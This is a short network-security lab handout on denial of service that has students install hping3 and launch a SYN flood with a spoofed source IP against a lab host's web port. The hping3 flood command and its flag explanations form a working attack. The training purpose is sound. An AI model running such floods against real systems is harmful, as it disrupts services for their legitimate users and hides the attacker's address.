#### LAB 6: DENIAL OF SERVICE

Denial of Service (DoS) is an attack on a computer or network that prevents legitimate use of its resources

## Lab Scenario

In computing, a DoS is an attempt to make a machine or network resource unavailable to its intended users. Motives of DoS may vary but the goal is to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet.

As the security administrator of an organization, you should have sound knowledge of how a DoS and Distrubuted DoS attacks are caried out to detect and neutralize attack handlers and to mitigate such attacks.

## Lab Objective

* Create and launch a DoS attack to a victim
* Perform a DoS attack by sending a huge amount of SYN packets continously

## Lab Environment

Connect to your lab machine hostX.ws.nsrc.org

We are going to use hping3. Install hping3 by:

	sudo apt-get install hping3

## Lab Duration

	20 Minutes

## Lab Tasks

We are going to pick on a host in the lab and channel all our SYN flood to it and see if we can reach a service that we are flooding:

	hping3 -S 10.10.0.X -a Y.Y.Y.Y -p 80 --flood

-S sets the SYN flag
-a is our spoof IP so that we hide our source IP
-p is for the port to target
--flood send packets as fast as possible, do not show replies


While the SYN flood is ON, lets try to reach port 80 service on machine X by visiting 10.10.0.X on our browser


# Document all the results you gather from this lab